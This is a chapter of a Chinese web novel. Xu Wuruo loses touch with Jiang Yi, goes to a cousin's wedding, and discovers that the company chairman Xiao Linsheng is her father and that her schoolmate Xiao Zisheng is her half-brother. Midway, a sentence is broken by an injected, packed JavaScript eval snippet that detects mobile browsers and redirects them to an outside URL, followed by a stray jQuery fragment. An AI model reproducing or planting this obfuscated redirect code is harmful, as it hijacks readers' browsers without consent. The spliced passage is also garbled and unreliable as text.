36. 第 36 章

作品:《过期解药

    七月结束后,徐梧若再也没见过姜峄。


    他跟着彭烟去了国外,似乎和这边断了联系。


    她和姜峄没有告别,就像是一首没有结尾的梧桐诗,叶落萧瑟,周围到处是黄叶,梧桐树上却没有一片叶子。


    哀音如细雨淋漓,悲凉却是无尽的。


    这首诗只得以搁置,不予结尾,待何年来续写,徐梧若无从知晓。


    大二,徐梧若搬去临川大学的深城市校区,其他人依旧留在临川。


    新的环境让她暂时脱离了痛楚,这座城市没有他的影子,是庆幸的事情。


    “你和你喜欢的人呢?”大学舍友问徐梧若。


    她没听清,疑惑了一声。舍友又重复。


    徐梧若这次听清了,她只是回:“没在一起。”


    “为什么啊?”


    “我们不合适。”她只说了这五个字。


    不合适三个字,成了隔开他们无法靠近的枷锁。


    大二的时候,徐梧若是院学生会宣传部即将上任的副部长。因为大一的新生在临川校区就读,所以学生会招新的形式是线上招新。


    线上会议中,她见到一个男生,叫萧子昇。


    有些眼熟,似乎在哪里见过。


    一个周末,徐梧若独自乘坐地铁,逛着这座城市。没有目的地,想在哪个地铁站下就在哪个地铁站。


    随意选了一个站,徐梧若出站,是一个科技园。周末道路空旷,人寥寥无几。


    树叶落在道路两旁,高楼大厦如树干般拔地而起。


    她正要找一家咖啡店坐着,却意外地碰见一个人。


    “梧若?好久不见。”


    “思清姐,好久不见,你怎么回国了呀?”


    “想回来就回来啦,走,请你喝咖啡。”随思清笑了笑,拉着徐梧若走向附近的咖啡店。


    徐梧若想转钱给随思清,被她制止了。


    “不用转。”


    “那谢谢思清姐。”她笑着说。


    “不用和我客气。”


    随思清将徐梧若的那杯放在她面前,和她聊着天。忽然想起什么,随思清问:“你哥最近怎么样?”


    这是姜峄出国后,第一个向徐梧若询问姜峄近况的人。


    徐梧若有些恍惚,只是答:“他出国了。”


    随思清有些不可思议,重复着徐梧若的话:“他出国了?”


    “思清姐,你不知道吗?”徐梧若搅了搅咖啡杯的吸管,问着。


    “这我还真不知道,我和你哥好久没联系了,而且大一的时候我问他想不想出国,他一口就回绝我了,怎么现在说出国就出国……”


    “我以为,你和姜峄的关系很好。”


    “只是朋友,哪谈得上好不好,而且你哥那性子淡得很。”


    徐梧若抬眼,面上有些愧意,“思清姐,我之前还觉得你和我哥会在一起……”


    随思清有些意外,笑着道:“不可能,姜峄和我的性子太像了,而且我没喜欢过他,姜峄嘛……他是有喜欢的人,但不是我。”


    *


    二叔姜怀渝的大儿子姜岩今年结婚了。徐梧若回了临川,跟着姜孟章进了酒楼,一对新人站在门口,和亲戚朋友合照。


    覃思搭着姜淇山和梁颂音,也到了酒楼。


    “怎么没见小峄?”二叔公问道。


    “姜峄在学校呢。”


    “哎哎,一起来拍照。”


    姜峄出国后,覃思他们就没再提过她和姜峄的事情。


    似乎这段过往在慢慢被淡忘,任由海浪冲刷,新沙覆盖旧沙。


    他们和二叔公一家拍了张合照,三个人又和新郎新娘合影。


    众人落座,婚礼仪式开场。司仪正讲着话,大屏幕上播放着PPT动画。


    新娘是姜岩的高中同学,工作后重遇,谈了几年后结婚。


    轮到新人发言,姜岩的话语里没有华丽的修辞,很朴实的语言,新娘站在舞台边擦着泪。


    徐梧若听着婚礼上放着的背景音乐,也觉得感人,眼眶不自觉地红了。


    仪式结束,圆桌上渐渐摆满菜品,新娘扔着捧花,小孩围在舞台下,纷纷伸手接着。


    姜岩见徐梧若依旧坐着,打趣道:“梧若,怎么坐着,不去接一接?上大学可以谈个男朋友咯。”


    她笑了笑,摇头。


    捧花即使被接住,对徐梧若来说,幸福也不会落在她手心里。


    花落在一个亲戚小孩的手上,大家欢呼着。而又坐回原位,吃着酒席上的佳肴。


    徐梧若那桌坐着都是姜家的人,大家谈笑着,只有她年龄最小,在默默吃着饭菜。


    像是回到初三那一年,只是这次桌上没有和她同样沉默的另一人。


    大三那年的十一月,徐梧若生日,她请舍友们到一家餐厅吃饭。


    她订了一个简约款的四寸蛋糕,点燃蜡烛,许愿后,大家分着吃完了。


    徐梧若很开心,和舍友们相处的也好,四个人嬉嬉笑笑地离开了小隔间,她经过隔壁的包厢,门敞开,圆桌边坐着几位西装革履的人。


    其中一人恰好出了包厢,徐梧若喊住他:“钟叔。”


    钟景棠诧异,他回头,发现是徐梧若,“梧若!哎哟好久没见了,和同学出来吃饭呀?”


    “是呀,今天生日,和舍友出来吃饭。”


    “生日!我算算,今年是二十一岁生日了吧,生日快乐梧若。”钟景棠随即拿出手机,给徐梧若发了个红包。


    “谢谢钟叔。”徐梧若面上带笑,又听钟景棠说:“快去吧,你同学在等你呢。”


    “钟叔再见。”她正要迈步离去,包厢里正对着的一人身着深灰色西装,和身旁的人正弄盏传杯着。


    男人似乎察觉到什么,于站在门外的徐梧若对视,轻点头,微微笑着。


    徐梧若也礼貌回视着,她不认识,没停留太久,快步走向舍友们。


    萧凛生回过眼,半杯白酒下肚,他觉得有几分面熟。


    待钟景棠回了包厢,桌上的男人们问:“刚刚那小姑娘是谁呀?”


    “是我同学的女儿,之前人崴脚了,我是她主治医生。”


    萧凛生察觉到什么,起身出了包厢,走廊里空荡,人早已离开了。


    是覃思的女儿,他没认错。


    他一直觉得,和谁结婚都无所谓,直到他的前妻要离婚。


    “才不是和谁结婚都无所谓。”他的前妻如此道。


    细雨淋漓的一个周末,徐梧若回了临川。她要当面问覃思一些事。


    于是得出的答案是,她的生父叫萧凛生,在深城做生意。


    “梧若,我和你姜叔叔想着过几年到处去旅游,所以你不用担心我们。”


    徐梧若点头。


    她发微信约钟景棠出来吃饭,钟景棠约了个时间,说他请徐梧若吃。


    两个人坐在西餐厅,徐梧若问:“钟叔,你不是在临川的医院上班吗,怎么经常在深城?”


    “噢,我现在被派任到了深城的医院,你不是在临川大学吗,怎么也在深城?”


    “钟叔,临川大学一定在临川吗?”徐梧若笑着反问,又道,“我大二来了深城校区啦。”


    “嘿,还打趣我,这小鬼头。”


    餐厅演奏着舒缓的钢琴曲,徐梧若瞥着钟景棠的神情,似乎心情不错,于是试探地问道:“钟叔,你认识萧凛生这个人吗?”


    钟景棠听罢,切牛排的手顿了顿,看着徐梧若,缓缓问:“怎么忽然提起这个名字?”


    “我妈说,他是我爸。”


    徐梧若的话语落


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200558|164462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下,钟景棠握着刀叉的手抖了抖,刀尖无意触到瓷质盘子,发出“碰”的一声。


    “真的?”钟景棠反问着,面上的表情,说不上来复杂,似乎又惊又喜。


    “她亲口说的,没有错。”


    “要不要让钟叔去确认一下?”


    徐梧若点头,思索了一会,又道:“钟叔,如果结果出来,能不能先不要告诉他,我想找个时间。”


    “有名片吗?”她询问着,钟景棠从卡包里拿出了一张,递给徐梧若。


    萧凛生:地华集团董事长。


    这一学期,大二的学生搬来深城校区。徐梧若见到了萧子昇本人,他是新聘任的学生会宣传部委员。两个人工作上合得来,顺其自然地成为了朋友。


    十二月初,学校举行运动会,萧子昇和徐梧若恰好分在一组,还有一个女生,徐梧若是副部长,负责查看两人的相片拍的是否合要求。


    萧子昇和熟的人话多,三个人聊起高中,他说:“我以前在京城读的高中,因为爷爷奶奶家在那边,但是我爸在深城。”


    “你就不知道了吧,我爷爷奶奶家的小区不是谁都能进去的。”


    徐梧若切了一声,“我外婆外公家也在京城呢。”


    于是两人一讨论,是一个住处。


    萧子昇忽然想起些什么,“我怎么感觉我以前好像见过你?”


    “你难道是......那个救命恩人?”


    萧子昇想起来了,徐梧若就是两年前那个走在马路上不看路的人。


    “那么巧!”


    “那你可要喊我一声姐了。”


    “凭什么?”


    “你年纪比我小,不喊姐喊什么?”


    “我告诉你个秘密,我爸是地华集团董事长。”萧子昇又悄悄道,“我爸叫萧凛生。”


    她的动作忽然顿住了,“你说,你爸叫萧凛生?”


    徐梧若的包里放着之前钟景棠给的名片,名字和公司完全重合。


    “怎么,你认识?难道你真是我姐?”


    徐梧若立即摇头。


    结果出来了,徐梧若的确是萧凛生的女儿。那日,钟景棠将两人约了出来。


    徐梧若对萧凛生没什么感情,甚至觉得他是个负心汉。萧凛生有愧,可是说太多都是虚缪。


    如覃思所言,她和姜孟章到处旅游,徐梧若住哪无所谓,于是搬进了萧家。


    下午,徐梧若便听到方姨说萧家来了人,她没有什么要带着走的东西,简单收拾一下,便跟着去萧家了。


    姜孟章和覃思站在门口,徐梧若回头抱了一下他们。方姨红了眼眶,她和徐梧若相处多年,感情深厚。


    “姜叔叔,妈,别担心我,我会想你们的。”


    “知道了,我的乖女儿。”覃思摸了摸她的头,姜孟章心里感慨万千。


    萧家的布局和姜家的差不多,萧凛生已经站在家门口等着了。


    “爸,这哪来的给我找的姐姐,家里有我一个已经够吵了。”


    “你也知道啊。”萧凛生颇为同意地点了点头。


    徐梧若到了,萧凛生帮她开门,把行李接过。


    “徐梧若,这是干嘛!”她听罢,这才注意到倚着门边的萧子昇。


    萧子昇见他爸笑嘻嘻地跟在徐梧若身后,“你不会就是我姐吧?”


    徐梧若应了,“那还真被你猜对了。”


    萧凛生见这两人关系融洽,有些诧异,问道:“原来你们认识了?”


    萧子昇将话接过,“我俩一个大学的,之前在学校不小心认识,真是冤家路窄。”


    “怎么跟你姐说话的呢?”萧凛生说。


    “爸,你就站在她那边了吗,我是你儿子!”


    “儿子哪有女儿亲,你懂什么?”


    ……